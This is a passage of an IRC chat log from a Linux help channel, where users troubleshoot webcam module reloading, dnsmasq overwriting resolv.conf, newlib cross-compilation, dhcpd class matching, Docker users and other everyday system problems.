it Psi-Jack happy? Who is the Solus freak round here? 18:39 < bls> rypervenche: or rather that mode is passed through the current umask to decide on the final permissions 18:40 < bodqhrohro_> After demodprobing the `uvcvideo` module the corresponding entry in /sys/devices still lasts there. So it can't successfully modprobe again because of that entry and apps can't see the webcam. How do I get rid of that entry? Tried to reload udev but this didn't help 18:40 < rypervenche> bls: Thank you very much. 18:41 < _AxS_> bodqhrohro_: if the device is still there, are you sure uvcvideo is the right driver for it? 18:41 < epitamizor> searedvandal, but they take up alot of space riht? 18:41 < searedvandal> epitamizor, depends on the package and what dependencies it has. but yeah, generally a bit more than installing it directly 18:41 < searedvandal> I just use it for trackmania at the moment 18:42 < bodqhrohro_> _AxS_: if not, why does kobject_add_internal fail? 18:43 < epitamizor> searedvandal, trying to think of the use case scenario, would probably be this app doesn't run, install the snappy version 18:43 < _AxS_> bodqhrohro_: it fails when you 'modprobe uvcvideo' ? 18:43 < seven-eleven> hello 18:43 < bodqhrohro_> _AxS_: yes 18:43 < seven-eleven> i want to know if a systemd service is running from my script 18:43 < _AxS_> ah. ok. in that case maybe the device needs to be reset. 18:43 < seven-eleven> what is better: parsing the STDOUT of `systemctl --is-active` or should I better check the exit code? what is safer? 18:44 < bls> seven-eleven: exit code 18:44 < seven-eleven> bls, thanks! 18:44 < bls> seven-eleven: the text could potentially change, success/failure, not so much 18:44 < seven-eleven> ahhh yeah 18:44 < searedvandal> epitamizor, I run the nextcloud snap as well when I think of it. just because I'm lazy and it was easy. but yeah, I don't use it a lot. just tried it out, and when trackmania got released as snap I figured that was the easiest way of having a windows game on my linux box 18:45 < azarus> trying to rsync to a vfat formatted sd card. it seems stuck, yet iostat always outputs this (or similar): http://ix.io/1gJB 18:45 < epitamizor> searedvandal, wow so you don't even have to tinker with wine libs then? 18:46 < azarus> (the sd card being mmcblk0) 18:46 < searedvandal> epitamizor, nope, I ran one command and then launched it from my regular menu. and it just worked. 18:46 < _AxS_> bodqhrohro_: its been too long since i've manipulated the usb bus to kick out/reset devices. this might not work, but try unloading all the video related modules: lsmod |grep video <-- everything 'videodev' and above 18:46 < ayecee> azarus: show output of iostat -kx 5, after 5 seconds 18:47 < Evidlo> can I remap keys in qemu? I use Caps as my window manager mod key in the host, but qemu treats it like normal Caps lock 18:47 < bls> Evidlo: have you reproduced your xmodmap in the VM? 18:48 < azarus> ayecee: http://ix.io/1gJD 18:48 < HaMsTeRs> anyone know why my login screen stick with 640x480 resolution? after logged in, the resolution return to normal. anyway to fix it? (ubuntu 18.04) thanks! 18:49 < rneese> I need a way to take in audio on a onboard sound card and pipe it out via a virtaul audio port on usb so a windows or other device can get the audio as a virtual sound card 18:49 < rneese> sorry ment to say hello first 18:49 < ayecee> it's okay, you don't have to say hello 18:49 < ayecee> it's better not to. we already know you're here. 18:49 < _AxS_> HaMsTeRs: nvidia gpu? 18:49 < bodqhrohro_> _AxS_: when uvcvideo is loaded, videodev can't be unloaded because it's used, and when uvcvideo is unloaded, it disappears too. Besides of videodev, I see only video module, and it can't be unloaded as well 18:50 < ayecee> azarus: good news is that it's working, it's just very slow. 18:50 < azarus> ayecee: should be a class 10 card... oh well 18:50 < ayecee> hmm. maybe it's not working. 18:50 < _AxS_> bodqhrohro_: ah so 'videodev' doesn't stick around when uvcvideo is removed? in that case, the dev node should definitely be disappearing... 18:50 < ayecee> azarus: maybe your command is not correct? 18:51 < ayecee> there's no io pending on mmcblk0. 18:51 < azarus> ayecee: just "rsync -av /home/azarus/whatever/ /mnt/whatever/" 18:51 < ayecee> where did it get stuck? right at the start? 18:52 < azarus> ayecee: nah, at about 91% of all the content 18:52 < azarus> (so about 2.7 GB) 18:53 < azarus> output of mount, fyi: http://ix.io/1gJJ 18:53 < ayecee> dunno. maybe check dmesg output for errors. nothing seems wrong from the iostat. 18:53 < bodqhrohro_> _AxS_: however it doesn't. Maybe there is another module related to it? The node is named media0 18:54 < azarus> ayecee: no errors in dmesg. 18:54 < ayecee> restart command? 18:55 < _AxS_> bodqhrohro_: no... my system drops /dev/media0 when i remove the uvcvideo module.. 18:55 < tailDASHeF> asdf 18:56 < _AxS_> bodqhrohro_: i mean, unless you have two cameras and uvcvideo is actually managing 'media1' or something.. 18:57 < _AxS_> bodqhrohro_: do you have a 'media' module loaded still? 18:58 < bodqhrohro_> _AxS_: no 18:58 < azarus> ayecee: it seemed to finish. waiting for sync(1) to finish 18:58 < _AxS_> bodqhrohro_: and I assume this is a regular modern linux install right, where /dev is a devtmpfs mount? 19:02 < strixdio> I have remmina on an xubuntu desktop, and on a blackarch desktop. On my xubuntu desktop, I can rdp to the server just fine. On my blackarch desktop, "unable to establish a connection to RDP server" 19:02 < strixdio> any thoughts? 19:04 < pingfloyd> does remmina have any verbose options? 19:04 < _AxS_> strixdio: my gut would say two possibilities -- one, local firewall blocking it. two, the rdp support that's needed isn't present in the remmina install. I don't know enough about arch or blackarch to say if the latter is possible 19:04 < strixdio> not familiar enough with it. lemme google. 19:07 < dunnousernamefn> Hey, so it may not be strictly a linux question, however I bet some of you know about newlib, and definitely ./configure and make. I'm trying to cross compile newlib, and the Makefile compiles a large part, but then I get `ar: ../{stdio,string,machine}/lib.a: No such file or directory`. I'm not sure what steps I can use to solve it, because it uses Makefile.in and Makefile.am 19:07 < dunnousernamefn> And there's multiple libraries (libc, libm, libgloss) to compile 19:07 < dunnousernamefn> It doesn't matter where I build it, in a seperate directory or the source tree 19:08 < koala_man> dunnousernamefn: sounds like the Makefile expected the shell to be Bash, but instead it's Dash or something 19:08 < dunnousernamefn> Oh, the brackets? I put them there 19:08 < dunnousernamefn> It's any one of those possibilities 19:08 < _AxS_> dunnousernamefn: is that the actual error, with {stdio,string,machine} ? 19:08 < _AxS_> ahok 19:08 < dunnousernamefn> No, it's for stdio, then string, then machine 19:09 < HaMsTeRs> please anyone? the login thing is quite annoying. 19:09 < dunnousernamefn> Sorry, that wasn't too clear 19:09 < _AxS_> dunnousernamefn: what's the url to the package? I'd like to take a look at the build system 19:09 < dunnousernamefn> I used some git mirror, lemme find it 19:09 < _AxS_> dunnousernamefn: i want to say that if you --disable-static that this might go away.. 19:09 < dunnousernamefn> I'll try that 19:10 < dunnousernamefn> And, it seems really broken now, because when I distclean sometimes I get /bin/bash: line 26: cd: doc: No such file or directory (and doc is in the build dir) 19:10 < _AxS_> dunnousernamefn: also, what's your crossdev environment? how're you specifying those details? 19:11 < dunnousernamefn> I was using --host, then I switched to --target, but --target seems to be ignored 19:11 < RayTracer> HaMsTeRs: you could try to configure (or switch to another) display manager 19:11 < dunnousernamefn> I'm going to try --disable-static --target=or1k-elf 19:11 < dunnousernamefn> err --host 19:12 < _AxS_> HaMsTeRs: ...wait, the login screen is 640x480 but in X ? 19:12 < bodqhrohro_> _AxS_: finally, the problem have gone because while messing around I accidentally tried to read the media0 device and the kernel panicked :D Now I'll just won't touch that device 19:12 < HaMsTeRs> after login, everything went back to normal 19:12 < HaMsTeRs> just the login screen 19:12 < _AxS_> HaMsTeRs: what display manager is it? 19:13 < dunnousernamefn> I used the anonymous git at https://sourceware.org/newlib/download.html IIRC 19:14 < dunnousernamefn> --disable-static in configure didn't solve the problem 19:14 < AnrDaemon> Ubuntu 16.04, trying to configure apt 1.2.27 dpkg hangs indefinitely. Any suggestions? 19:14 < bls> dunnousernamefn: might want to ask in ##workingset as it sounds like the build system for that library is broken 19:14 < AnrDaemon> Google said it could be networking issue, but unplugging cable did not help. 19:15 < dunnousernamefn> Ah, I remember that channel - I wasn't sure where to go, but that name sounds familiar 19:15 < dunnousernamefn> thanks 19:16 < Evidlo> bls (IRC): I dont want qemu to send Caps to the guest at all. 19:17 < bls> Evidlo: it's not. it's receiving a raw keycode. you've remapped it outside, now you need to remap it inside as well 19:17 < Evidlo> but what if the guest isn't running X? 19:19 < _AxS_> Evidlo: you can manage keymaps on the linux console as well, iirc. its been decades since i've done it though 19:20 < bls> Evidlo: then use the console tools. man loadkeys and dumpkeys 19:20 < bls> although you're probably better off just sshing in to the thing 19:25 < RayTracer> HaMsTeRs: to determine the display manager, try "loginctl show-session $(loginctl list-sessions | grep seat | awk '{ print $1 }') | grep Service" (wfm) 19:27 < HaMsTeRs> it's gdm 19:28 < _AxS_> dunnousernamefn: ...so what are you cross-building this from and to? this package seems to be cygwin related somehow? (just downloading now) 19:28 < dunnousernamefn> I'm not sure why it's called cygwin 19:29 < dunnousernamefn> I'm trying to cross compile from x86_64 to or1k 19:29 < dunnousernamefn> So, it goes down one level too deep when I get those archive errors 19:30 < RayTracer> HaMsTeRs: maybe a wayland thing? https://superuser.com/questions/1270939/how-can-i-change-gdm-greeter-resolution-debian-9-xwayland-vmware seems he got hi-res gdm by disabling wayland 19:30 < dunnousernamefn> there is a build/libc/stdio, but it tries to access build/libc/../stdio 19:31 < _AxS_> dunnousernamefn: k, i'll need another 15-20 mins likely to mess about here but i'll confirm that and see what in the build system is going wrong to cause it.. 19:31 < dunnousernamefn> Thanks! 19:31 < HaMsTeRs> Thanks RayTracer. let me try 19:32 < dgarstang> I'm trying to use dnsmasq, but I need to use search domains. dnsmasq rewrites /etc/resolv.conf when it starts, removes everything except 'nameserver 127.0.0.1' and seems to have NO way to be given search domains. Not sure what to do here. is there a better dns cache for linux? 19:32 < dunnousernamefn> I'm going to try to build on and for the host arch, to see if it's something with or1k 19:33 < dunnousernamefn> dgarstang, you mean your DNS records keep getting overwritten? 19:33 < dunnousernamefn> errr nameservers 19:33 < Wulf> dgarstang: dnsmasq is fine, but it can be tricky to configure the dns settings 19:33 < fury> can i create an alsa sink that becomes the default place for audio to be played, so that i can then place an effects toolchain between it and the actual sound card? (such as, ecasound) - i've been searching around and haven't found any way for something like that to do live realtime processing on the general system sound, only on wav files -> output or sampling the output to record to a wav file 19:33 < Wulf> dgarstang: which distro? 19:33 < HaMsTeRs> rebooting now. brb 19:33 < dgarstang> dunnousernamefn: the /etc/resolv.conf file is rewritten when dnsmasq starts 19:33 < dgarstang> Wulf: CentOS 19:33 < dunnousernamefn> I think I've had that problem before 19:34 < dunnousernamefn> Or something similar 19:34 < dgarstang> There doesn't appear to be ANY option to tell dnsmasq not to rewrite /etc/resolv.conf :( 19:34 < dunnousernamefn> It was changed by networkmanager for me 19:34 < dunnousernamefn> I can't remember what I did 19:34 < Wulf> dgarstang: you can chattr +i /etc/resolv.conf 19:34 < dunnousernamefn> And I was on ubuntu 19:34 < Wulf> dgarstang: but that's a horrible workaround 19:34 < dgarstang> Wulf: No, that's a hack :( 19:35 < Wulf> dgarstang: on ubuntu it's possible to use the "resolvconf" package 19:35 < luke-jr> pretty sure dnsmasq itself does NOT modify resolv.conf; that's something else 19:36 < dgarstang> luke-jr: '; generated by /usr/sbin/dhclient-script' 19:36 < dgarstang> which is dumb... because dhcp isn't even running and the IP is static 19:36 < bls> it could also be network manager doing that 19:37 < bls> it likes to override any settings you make by hand with its own under the expectation you'll use it to do everything 19:37 < dgarstang> there's no network manager running 19:37 < strixdio> unfortunately I'm not seeing how I'd get any verbose info from remmina. 19:37 < bls> there are a couple other network manager like systems out there as well 19:37 < strixdio> I'm going nuts with it. 19:38 < dgarstang> No network manager at all... server not a desktop 19:38 < luke-jr> dhclient-script is not dnsmasq.. 19:39 < bls> server distros will still use things like nm, connman, whatever systemd's new thing is 19:39 < dgarstang> luke-jr: Just telling you what's in resolv.conf. dnsmasq is obviously calling /usr/sbin/dhclient-script 19:39 < dgarstang> bls: This is CentOS 6, but same behaviour on CentOS 7 19:41 < _AxS_> dunnousernamefn: things in this build system are a little bit messed... :/ 19:41 < dunnousernamefn> Yea 19:42 < _AxS_> dunnousernamefn: it looks like they wanted to make the top-level configure handle everything, except it doesn't. 19:42 < dunnousernamefn> I ./configure'd at the root directory and it did nothing 19:42 < bls> dgarstang: have you looked at nscd? 19:42 < dunnousernamefn> If I configure inside libc, the includes are missing 19:43 < dgarstang> Lol. I removed the dhclient package, and restarted dnsmasq and it STILL overwrites /etc/resolv.conf with the comment '/usr/sbin/dhclient-script' but the /usr/sbin/dhclient-script binary is gone! Wtf!? 19:43 < dgarstang> bls: I think i will. :) 19:44 < bls> dgarstang: it's dumb simple. run it, it intercepts nslookup requests, and caches them. nothing to configure 19:44 < CableNinja> Im having problems getting dhcpd to run 2 separate pxe pools. I've got matches setup for 2 classes and 2 pools, each pool is marked for one class, but despite the setup, I always end up in the generic one 19:44 < dgarstang> bls: will do, thanks 19:44 < Wulf> bls: nscd doesn't work for many things 19:44 < bls> no, it doesn't. but it does work for many others 19:44 < Wulf> dgarstang: let me just try if it works for me 19:44 < dgarstang> Wulf: What doesn't it work for? 19:44 < dunnousernamefn> Maybe I'll disable recursion 19:45 < bls> I can't even recall the scenarios it's not suited for, but all I need is dead simple name lookup caching, and it does that, so it's what I use 19:46 < dgarstang> bls: kk 19:46 < CableNinja> heres my dhcpd conf https://paste.ubuntu.com/p/9J2JQyFYrZ/ 19:46 < Wulf> dgarstang: it doesn't listen for dns queries 19:46 < Wulf> dgarstang: on port 53 19:46 < dgarstang> Wulf: No? 19:46 < Wulf> dgarstang: nscd intercepts some libc calls 19:46 < _AxS_> dunnousernamefn: so when ./configure'ing newlib-cygwin/newlib i noticed it creates not only a build/objdir in . but also one in ../32 (this is for native build, not cross). And after make'ing all the lib.a's are in ../32 . so i'm wondering if the ../stdio/lib.a is missing whatever forces '32' into the mix. 19:47 < dgarstang> Wulf: oh that's not going to be much use then 19:47 < Trel> Quick question, if I do 3>&1 what's the syntax to remove 3 afterwards 3>&- ? 19:48 < dunnousernamefn> hmmm 19:48 < _AxS_> dunnousernamefn: oh, i also get compile errors on lib_a_bcopy0 19:48 < dunnousernamefn> I didn't realize all the stuff in 32/ 19:48 < dunnousernamefn> wow 19:49 < _AxS_> so it's possible the issue is also that it keeps going instead of stopping at the compile failure. 19:49 < dunnousernamefn> oh, if I scroll back, there are compile errors 19:49 < dunnousernamefn> I feel like an idiot lol 19:49 < dgarstang> What about djbdns? 19:49 < strixdio> still having issues with remmina not being able to connect. works on xubuntu, not on blackarch. rdesktop does work on blackarch though. any thoughts? 19:49 < strixdio> (is for RDP) 19:49 < dunnousernamefn> it does fail for bcopy for me too 19:49 < dunnousernamefn> and setjmp 19:50 < dunnousernamefn> that's so weird 19:50 < _AxS_> strixdio: that seems odd given iirc both use the same library for rdp support 19:50 < bls> djbdns is incredibly awkward to use, like most of DJBs software. there's a fork to make it easier, but I haven't had much luck setting it up 19:50 < dunnousernamefn> I wonder if I didn't get the latest version, just a release version, if it would work better 19:50 < strixdio> _AxS_: is strange 19:50 < _AxS_> dgarstang: sorry i missed your request in the backlog, what're you looking to do? 19:51 < dgarstang> _AxS_: Just want a local DNS cache 19:51 < bls> and since I'm fine with caching at the libc level instead of at the network/port level, I didn't persue it any further 19:51 < rasputozen> what should i use to catch a fast stream of incoming data of which i have no control over the speed it comes? 19:51 < rasputozen> rather, whats the fastest way to capture an incoming stream of data 19:51 < _AxS_> dgarstang: what've you tried? unbound and dnsmasq will both do that.. 19:51 < bls> rasputozen: incoming from where? 19:52 < rasputozen> the system itself 19:52 < dgarstang> _AxS_: Dnsmasq doesn't. It rewrites /etc/resolv.conf and removes 'search' lines which I need 19:52 < _AxS_> rasputozen: are you talking about tcpdump for network packets, or...? 19:52 < Wulf> dgarstang: when I install and start dnsmasq on centos7, resolv.conf isn't modified. It's still whatever the dhcp client made it. 19:52 < bls> rasputozen: a "stream of data" is pretty generic, so it's tough to provide a recommendation 19:52 < dgarstang> Wulf: Not for me 19:52 < _AxS_> dgarstang: dnsmasq doesn't touch local /etc/resolv.conf , at least not on any system i've touched. 19:52 < rasputozen> basically i tried using a FIFO but it kept losing lines and was inconsistent 19:52 < bls> network data? stdout/stderr? block device data? 19:52 < meyou^> hrmph, opendns umbrella dashboard is down 19:52 < dgarstang> Wulf: Theres a lot of people with the same issue apparently if you google it 19:52 < rasputozen> stdout/stderr yea 19:53 < dgarstang> _AxS_: Lots of google posts from people saying it does 19:53 < _AxS_> dgarstang: what OS? this sounds like a convenience integration that needs to be undone. 19:53 < bls> its a vestige from the assumption that you'll be using network manager instead of /etc/sysconfig/network-scripts/ 19:53 < dgarstang> The first line of resolv.conf has '; generated by /usr/sbin/dhclient-script' which is interesting becasue i removed the dhclient package and the binary is GONE and it still puts that there 19:54 < dgarstang> _AxS_: CentOS 6 and 7 19:54 < bls> did you confirm that nothing got put in resolvconf's hooks? 19:54 < dunnousernamefn> ahhhhhh this is so annoying 19:54 < dunnousernamefn> I tried downloading a snapshot from the website, and it still fails 19:54 < dgarstang> bls: no, how? 19:54 < dunnousernamefn> Maybe I'll just compile it by hand somehow 19:55 < _AxS_> dunnousernamefn: well you've got to fix the compile errors first; those done? 19:55 < dgarstang> bls: googling 19:55 < Wulf> dgarstang: okay, fixed it. 19:55 < dunnousernamefn> No, I'll look at that 19:55 < dgarstang> Wulf: ? 19:55 < bls> I believe that's the expected stack that everything tries to make interact on centos: network manager + dhclient + dnsmaq + resolvconf 19:56 < Wulf> dgarstang: create a file (and chmod +x it) /etc/dhcp/dhclient-enter-hooks content should be: make_resolv_conf() { true } 19:56 < dgarstang> Wulf: tried that. didn't work 19:57 < bls> could also be falling back to trying to use dhcpcd 19:58 < dgarstang> Wulf: https://gist.github.com/dgarstang/c1ad8f447dce93ba0b36fd694f559b4b 19:58 < HaMsTeRs> Thanks to whoever share the WaylandEnable=false method. This is the solution! 19:58 < HaMsTeRs> Thanks! 19:58 < Wulf> dgarstang: so it's really your dnsmasq that does that?! 19:58 < dgarstang> Wulf: or something that dnsmasq calls 19:59 < Wulf> dgarstang: probably systemd ;-) 19:59 < dgarstang> Wulf: It happens on centos 6 as well in vagrant which doesn't have systemd 19:59 < bls> dnsmasq is probably calling out to resolvconf 20:00 < dgarstang> so, same behaviour on local vagrant with centos 6 and on hosting provider server running CentOS 7 20:00 < nekoseam> :) 20:00 < Wulf> bls: does resolvconf exist for centos? I can't seem to install it 20:00 < dgarstang> so seems unlikely it's unique to hosting provider config or hooks. must be standard linux behaviour 20:00 < dgarstang> Wulf: don't think so 20:01 < bls> it's not standard linux, more likely standard dnsmasq 20:01 < rcf> rasputozen: how were you trying to read the FIFO exactly? I'd like to try to reproduce this. 20:02 < bls> possibly not, may have it's own hooks 20:02 < dgarstang> Also followed this https://www.cyberciti.biz/faq/dhclient-etcresolvconf-hooks/ and created /etc/dhclient-enter-hooks. That also did not work 20:03 < rasputozen> rcf: basically if you direct stdout to a fifo and process an eval string that has one or more &&/|| connectors, the if construct will never be fast enough to catch the outputs of both connected statements 20:04 < bls> I'd say to dig into the dnsmasq config to figure out what it thinks it should be doing to resolv.conf (which should really be nothing, but...) 20:05 < dgarstang> bls: There seems to be no option to tell dnsmasq not to rewrite the file 20:05 < dgarstang> dhclient isn't running either 20:05 < Wulf> dgarstang: is resolv.conf rewritten when you start dnsmasq manually without systemd? 20:05 < dgarstang> Wulf: checking 20:08 < dunnousernamefn> So there's this file defining bcopy as a function, but then bcopy is also defined as a macro earlier 20:09 < dunnousernamefn> So it makes things all weird in the function decl 20:09 < dgarstang> Wulf: Nope 20:18 < dgarstang> Well, i don't know. Something mysterious is rewriting resolv.conf 20:18 < Wulf> dgarstang: maybe you can use inotify to track it down 20:18 < CableNinja> NetworkManager ? 20:18 < CableNinja> ifcfg 20:18 < dgarstang> CableNinja: Not running 20:19 < CableNinja> your network scripts/settings will also do it 20:19 < dunnousernamefn> hey _AxS_, I got it to work! A lot of functions were already defined as macros, which was the problem. Thanks! 20:19 < CableNinja> /etc/network/interfaces in debian/ubuntu or /etc/sysconfig/network-scripts/ in centos/rhel 20:20 < SuperSeriousCat> chattr +i /etc/resolv.conf and nothing can overwrite it until you -i it 20:20 < dgarstang> SuperSeriousCat: That's nasty 20:20 < CableNinja> I've done it 20:21 < birdbolt1> trying to understand difference between adding a user and user id 20:21 < CableNinja> because no matter what I do at home my systems always end up with my modem / ISP resolvers 20:21 < birdbolt1> addgroup -S framework-service && \ 20:21 < birdbolt1> adduser -S django-process -G framework-service -u 20:21 < tailDASHeF> a user id is a number identifier for a user @birdbolt1 20:21 < tailDASHeF> :D 20:21 < birdbolt1> do i just assign a uid of my choice after -u 20:21 < CableNinja> theoretically, yes you can 20:22 < birdbolt1> theo..? 20:22 < CableNinja> should you? not really needed unless you have something special 20:22 < dgarstang> Wulf: All that showed me was '/etc/resolv.conf OPEN' 20:22 < birdbolt1> Well my goal is to create a user and group in a dicker container 20:22 < birdbolt1> docker* ;) 20:22 < azarus> docker can be a dick sometimes, yes 20:22 < CableNinja> you dont need to use -u 20:22 < birdbolt1> lmao i saw that coming 20:23 < CableNinja> I only use -u when I'm doing something like ensuring a user has the same uid across all systems for a shared resource 20:23 < birdbolt1> CableNinja, what if I'd like to know the uid of given processes? 20:23 < CableNinja> ps... ? 20:24 < birdbolt1> well i have got a multicontainer setup, and would like eachservice in a container to have a user 20:24 < sklv> asking for recommendations on easiest wya to get current ssid and signal strength from Qt c++ 20:24 < birdbolt1> so no uid necessary? 20:24 < sklv> s/wya/way 20:24 < birdbolt1> what of programs like uwsgi which accept a uid and gid parameter in the config file? 20:26 < AnrDaemon> dgarstang: What OS? 20:26 < AnrDaemon> dgarstang: **distro 20:27 < SuperSeriousCat> He is talking about Docker. Reading the dockerfile manual and trying things out is my recommendation 20:27 < SuperSeriousCat> Nvm, you did not highlight the person I tought :p 20:28 < AnrDaemon> birdbolt1: Normally, user/group name and uid/gid are interchangeable. The problem is, while names can stay consistent across multiple systems, ID's are system specific and not necessarily consistent. 20:28 < AnrDaemon> birdbolt1: So, stick with names. 20:28 < birdbolt1> SuperSeriousCat, been doing that, all it says is to use USER in dockerfile, which is straightforward, and it recommends creating users and specific, known uid and gid 20:29 < dgarstang> AnrDaemon: Centos 6 and 7 20:29 < AnrDaemon> dgarstang: Err, pass. Don't know them that well. 20:29 < birdbolt1> "Consider an explicit UID/GID 20:29 < birdbolt1> Users and groups in an image are assigned a non-deterministic UID/GID in that the “next” UID/GID is assigned regardless of image rebuilds. So, if it’s critical, you should assign an explicit UID/GID." 20:29 < birdbolt1> from docker docs 20:29 < _AxS_> dgarstang: chattr +i is fairly common for ensuring a config file you manually set remains set the way you want it. 20:30 < AnrDaemon> dgarstang: I suggest starting by finding out what is your network manager, and see if it includes local resolver. I.e. systemd usually run its own one, and may conflict with resolv.conf 20:30 < CableNinja> anyone done dhcpd matching for specific mac address groups? I'm having the worst time getting it figured out 20:30 < FRWB> hey i'm at kernal panic and can't get into virtual console, what do 20:30 < CableNinja> trying to make 2 classes, one for mac's which match, and one for ones that dont 20:31 < CableNinja> https://paste.ubuntu.com/p/9J2JQyFYrZ/ 20:31 < _AxS_> CableNinja: which dhcp daemon? 20:31 < CableNinja> dhcpd 20:31 < AnrDaemon> CableNinja: See into dhcp-exec article. If I recall correctly, all matching is done via special execs. 20:31 < CableNinja> isc 20:31 < _AxS_> CableNinja: sec 20:31 < freelancerbob> hey 20:31 < freelancerbob> need solution how to disable openldap for anonymous connection for centos 20:32 < AnrDaemon> CableNinja: Does it even compile? 20:32 < CableNinja> freelancerbob, why not just enable local user 20:32 < CableNinja> AnrDaemon, yes, but a system with matching mac always ends up in the 'not matched' pool 20:33 < freelancerbob> i need to read this but i do not have access :/ https://access.redhat.com/solutions/2328501 20:33 < birdbolt1> when its like this: 20:33 < birdbolt1> Usage: addgroup [-g GID] [-S] [USER] GROUP 20:33 < _AxS_> CableNinja: so part of this i think is that matching on hardware is by mac addr component, not by digit, so you want match(hardware,1,4) not 1,12 20:34 < birdbolt1> the stuff inn [] isnt required right? 20:34 < CableNinja> ok, let me try 20:34 < AnrDaemon> CableNinja: Don't put pools inside subnet. 20:34 < FRWB> can't get console from recovery mode either :/ 20:34 < CableNinja> AnrDaemon, how is it to be done then? 20:35 < AnrDaemon> CableNinja: Exactly as I said, move them outside. 20:35 < Nexilva> ok, I'm on debian now in my laptop, was a pain to setup wifi through cli, configure xmonad again, etc. I got one problem now. I am running xmobar and it's using 16 px height, but when I open a terminal window, it goes over the xmobar top toolbar 20:35 < AnrDaemon> CableNinja: It will check pools, select valid members and assign address from the pool, then see a matching subnet for other options. 20:35 < triceratux> ah itz becoming clear "This is why it's best to install the Solus bootloader, many versions of Grub won't detect Solus" https://solus-project.com/forums/viewtopic.php?f=4&t=479&start=10 20:35 < Nexilva> instead of staying on top. configs are restored from previously working conditions 20:36 < FRWB> nvm guess i'll figure it out from an older kernel 20:36 * triceratux will give up on solus shortly but will at least have good reasons 20:36 < phogg> triceratux: wtf, why not? 20:36 < AnrDaemon> CableNinja: full working config https://pastebin.com/UyG7K9L2 20:36 < CableNinja> AnrDaemon, ok, thx, let me see what I can muster 20:36 < AnrDaemon> CableNinja: You just need to write your matching. 20:36 < CableNinja> AnrDaemon, /etc/dhcp/dhcpd.conf line 77: pool declared outside of network 20:37 < CableNinja> I knew there was a reason they were in the subnet 20:37 < AnrDaemon> network =/= subnet 20:37 < AnrDaemon> See my config. 20:37 < triceratux> phogg: this message im getting at boottime is pointing to the initrd whether i break the sfs out into a separate partition or not "Kernel panic – not syncing: VFS: Unable to mount root fs on unknown-block(0,0)" & its not because my "boot partition is full" 20:38 < triceratux> phogg: theyre playing some weird boottime game that kvm ignores & that succeeds if you run their installer, probably because it brings a customised bootloader with it 20:39 < AnrDaemon> triceratux: Boot from LiveCD and reinstall boot loader to correct partition. 20:40 < triceratux> AnrDaemon: i havent had to touch this bootloader install in half a decade. its manual & custom & understands all the other ISOs ive thrown at it. except crux, void, & alpine. im getting ready to add solus to that list 20:40 < birdbolt1> if I use -S with adduser to create a system user, does it refrain from creating a home directory 20:41 < AnrDaemon> birdbolt1: That's a separate switch. One is not related to another. 20:41 < birdbolt1> AnrDaemon, so I gotta use both so it doesnt create the home directory correct? 20:42 < AnrDaemon> "system user" is merely a convention, not a technical specification. 20:42 < triceratux> AnrDaemon: ive seen that as a solution & i appreciate the help but ive got a bunch of stuff to try before i go there 20:42 < birdbolt1> It i smy understanding that from the systems point of view, a system user is a non interactive entity 20:42 < AnrDaemon> birdbolt1: Do you actually need to avoid that? Or do you plan to create it later with f.e. mkhomedir_helper ? 20:42 < birdbolt1> no i dont want a home directory at all 20:43 < AnrDaemon> birdbolt1: User "interactivity" is controlled separately. Again. 20:43 < AnrDaemon> birdbolt1: I.e. with --disabled-password and/or --disabled-login 20:43 < birdbolt1> I created a folder to store my applications code, and dont need an extra home directory in the container 20:43 < birdbolt1> aahh i see thank you 20:43 < AnrDaemon> birdbolt1: Then make that directory your user's home?… It's simple. 20:43 < jim> birdbolt1, what's the user for? 20:43 < rasputozen> anyone know what mechanism causes stderr to be buffered and output at the end of the command instead of intermixing it with stdin? 20:44 < birdbolt1> jim, django 20:44 < rasputozen> is it the tty or the shell that causes this? 20:44 < birdbolt1> will make a user for uwsgi too 20:44 < Nexilva> on debian testing, I installed pavucontrol and pulseaudio, then I typed pavucontrol, and it stucks at "Connecting to Pulseaudio server" and nothing else happens. 20:44 < AnrDaemon> rasputozen: Which command? 20:44 < jim> are there config files? 20:44 < rasputozen> AnrDaemon: any command 20:44 < Nexilva> jim: me? 20:44 < birdbolt1> jim, for uwsgi? 20:44 < Nexilva> oh nm. 20:44 < rasputozen> by default a command will output its errors all at once after stdout 20:44 < AnrDaemon> rasputozen: Ask your terminal emulator then. 20:45 < rasputozen> im just using a tty 20:45 < AnrDaemon> birdbolt1: Why not use same user for running one application? 20:45 < jim> birdbolt1, for your django app 20:45 < Nexilva> Yeah, so I can't get pulseadio to work. I wonder what all I need like alsa stuff? 20:45 < lnnb> rasputozen: what shell, sounds broken 20:45 < AnrDaemon> rasputozen: getty ? 20:45 < birdbolt1> jim, yup 20:45 < rasputozen> the bare linux tty 20:45 < jim> gotta set the home dir to something, maybe the config dir 20:45 < AnrDaemon> rasputozen: That's usually the one. 20:45 < lnnb> echo $SHELL 20:46 < rasputozen> zsh 20:46 < Nexilva> yeah, pulse control by itself doesn't work 20:46 < birdbolt1> AnrDaemon, idk, I simply thought uwsgi should have its own user, and so should django 20:46 < Nexilva> I had to install alsa-utils 20:46 < rasputozen> not sure its a zsh thing though 20:46 < lnnb> try bash 20:46 < birdbolt1> and more importantly, a uid, as uwsgi warns eveery time it runs that it is running as root due to no uid 20:46 < Nexilva> now it's good. I didn't even have to login to any sites, just restored my /home from hdd to ssd, and voila, every login works. I copied all cookies and cache and everything for chrome 20:46 < Nexilva> :) 20:47 < cloudbud> How can you allow a user to have passwordless login to linux machine. using keys ? 20:47 < Nexilva> Just one issue, xmobar is hidden under windows. 20:47 < AnrDaemon> birdbolt1: Why? You run a single app, it's logical to have it run under single user, unless you explicitly want to separate parts of it for security reasons. 20:47 < Nexilva> it should stick on stop 20:47 < Nexilva> top* 20:47 < rasputozen> trying to think of a command that has errors throughout its execution 20:47 < birdbolt1> AnrDaemon, thats part of it, I want to separate each component as much as reasonably possible 20:47 < jim> cloudbud, passwordless login from where? 20:47 < rasputozen> im executing a zsh script that does this, which is why i noticed it 20:47 < birdbolt1> even thinking about moving uwsgi to its own container 20:48 < cloudbud> jim: to servers 20:48 < AnrDaemon> rasputozen: php -r 'error_log("error"); print "text\n";' 20:48 < AnrDaemon> birdbolt1: Why? 20:48 < jim> but -from- where? you would generate the key on the machine you ssh to the server from 20:49 < rasputozen> are you sure 'error' is output to stderr 20:49 < Nexilva> http://termbin.com/l2ai here is my xmobar config. As it is restored from a previously working config, the windows should not go over it, and it should stick on top. Any ides? 20:49 < rasputozen> b/c i see error first 20:49 < birdbolt1> AnrDaemon, no immediate reason. Just a thought thats been lingering, regarding seperating my services as much as possible 20:49 < Nexilva> , position = Static { xpos = 0 , ypos = 0, width = 1400, height = 18 } 20:49 < rcf> rasputozen: redirect stdout to /dev/null and 